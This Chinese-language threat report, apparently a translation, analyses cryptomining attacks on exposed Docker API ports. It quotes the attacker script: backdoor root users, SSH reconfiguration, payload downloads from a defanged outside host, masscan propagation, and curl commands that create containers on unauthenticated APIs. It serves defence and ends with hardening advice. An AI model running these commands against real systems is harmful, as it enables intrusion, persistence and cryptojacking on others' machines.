研究人员近期发现有滥用运行错误配置Docker的案例。恶意活动主要扫描Docker engine daemon使用的TCP 2375和2376端口。最后会尝试在错误配置的系统中应用加密货币挖矿恶意软件。

Docker可以在操作系统层实现虚拟化,也叫做容器化。Docker API允许用户像本地Docker客户端一样地控制Docker镜像。因此并不推荐为外部访问打开API端口,因为黑客可能会滥用这一配置错误进行恶意活动。

Docker引擎本身并没有被黑或被滥用,Docker企业级平台也不受影响。研究人员至少一少部分Docker社区版本被滥用。事实上,Docker技术有一些用户可以开启和配置的安全特征来保护容器和负载。Docker也有工具、文档、指南来帮助确保Docker社区和企业级平台的安全。

研究发现,Docker API端口暴露是用户端配置错误造成的,而且配置错误是在管理级手动设置的。配置错误带来威胁的案例不在少数,但对企业来说是一个大的威胁。搜索发现许多Docker主机都存在配置错误的情况,尤其是中国、美国、法国、新加坡、德国、英国、日本、爱尔兰等。这些暴露的系统主要运行Linux操作系统。Linux中的daemon是需要手动配置的,而错误配置在不同版本中都普遍错在,超过一半暴露的主机运行version 18.06.1-ce,这也是相对比较新的一个Docker版本。

图 1-1: 端口2375和2375上的配置错误滥用和恶意活动时间线

图 1-2: 端口2375和2375上的配置错误滥用和恶意活动国家分布

包追踪和payload分析

图 2: Docker引擎配置错误攻击的感染链

研究人员发现攻击者可以通过暴露的API端口创建Docker容器,并在被入侵的Docker实例上运行命令:

图 3:通过暴露的Docker API端口创建docker container

研究人员发现auto.sh文件是一个门罗币挖矿脚本,含有以下命令:

下面的命令用于创建用户richardfrank,并授予root权限:

useradd -m -p ‘xxx’ richard
useradd -m -p ‘xxx’ frank
adduser -m -p ‘xxx’ frank
adduser -m -p ‘xxx’ richard
usermod -aG sudoers frank;
usermod -aG root frank;
usermod -aG sudoers richard;
usermod -aG root richard;
sudo adduser frank sudo;
sudo adduser richard sudo;

下面的命令用于重新配置SSH:

sed -i ‘s/PasswordAuthentication no/PasswordAuthentication yes/g’ #mkdir /.tmp/etc/ssh/sshd_config;
/etc/init.d/ssh restart;
/etc/init.d/sshd restart;
/etc/rc.d/sshd restart;

下面的命令用于安装其他的系统包:

if [ $(dpkg-query -W -f=’${Status}’ systemd 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install systemd -y;
yum install systemd -y;
fi;
if [ $(dpkg-query -W -f=’${Status}’ masscan 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
   apt-get install masscan -y;
yum install masscan -y;
fi;
if [ $(dpkg-query -W -f=’${Status}’ iproute2 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install iproute2 -y;
yum install iproute2 -y;
fi;

下载其他脚本和文件用于驻留:

curl -s hxxp://X.X.X.163/k.php;
wget hxxp://X.X.X.163/data.cfg -O /data.cfg;
wget hxxp://X.X.X.163/xm -O /xm;
wget hxxp://X.X.X.163/xm.service -O /xm.service;
wget hxxp://X.X.X.163/test.sh -O test.sh;
wget hxxp://X.X.X.163/test3.sh -O test3.sh;
sleep 2s;

执行其他的脚本和可执行文件:

chmod 777 /xm;
chmod 777 test.sh;
chmod 777 test3.sh;
sleep 2s;

杀掉非门罗币挖矿的进程、关闭非门罗币挖矿进程的自动启动、开始新的门罗币挖矿可执行文件(xm.services)、开启挖矿进程自动启动回收算力所用的代码:

killall xmrig;
killall proc;
killall minergate-cli;
killall xmr-stak;

扫描网络并将结果保存在local.txt使用的代码:

masscan “$@” -p2375,2376 –rate=50000 -oG local.txt;

传播使用的代码:

sudo sed -i ‘s/^Host: \([0-9.]*\).*Ports: \([0-9]*\).*$/\1:\2/g’ local.txt;
sudo sh test3.sh local.txt;

检查门罗币挖矿检查驻留和运行的代码:

ps cax | grep xm > /dev/null
if [ $? -eq 0 ]; then
echo “Process is running.”
else
echo “Process is not running.”
cp /data.cfg data.cfg
cp /xm xm
./xm -c data.cfg
/xm -c data.cfg
cd /
/xm -c data.cfg
echo “BAM!.”
fi;

早期的Docker API滥用

Docker API滥用并不是第一次出现,2017年初研究人员就遇到过类似的攻击活动。当时攻击者发现配置错误的Docker API用于外部访问的端口是4243。在成功创建Docker容器后,攻击者在被入侵的系统中应用了其他的SSH key,并安装了DDoS僵尸和其他工具、脚本来确保僵尸主机能够在系统重启后自动启动。

因为Docker实例中没有配置认证,因此攻击者可以直接运行下面的命令来创建一个Docker容器。

curl -H “Content-Type: application/json”  -d ‘{“Image”: “ubuntu”, “Cmd”: [“/bin/bash”]}’  -X POST hxxp://X.X.X.X:4243/v1.19/containers/create

而且攻击者可以通过下面的方式来连接到Docker以获取shell权限:

POST /v1.19/containers/<container_id>/attach?stderr=1&stdin=1&stdout=1&stream=1″

其实有许多的方法可以预防此类攻击。最好就是不要暴露Docker REST API端口。Docker系统都建议:

level=warning msg=”/!\\ DON’T BIND ON ANY IP ADDRESS WITHOUT setting -tlsverify IF YOU DON’T KNOW WHAT YOU’RE DOING /!\\”

如果必须要从外部访问Docker RESTful API,最好启用TLS认证。

最佳实践

Docker安全最佳实践:

https://blog.trendmicro.com/trendlabs-security-intelligence/miscon图d-container-abused-to-deliver-cryptocurrency-mining-malware/

源链接

Hacking more

...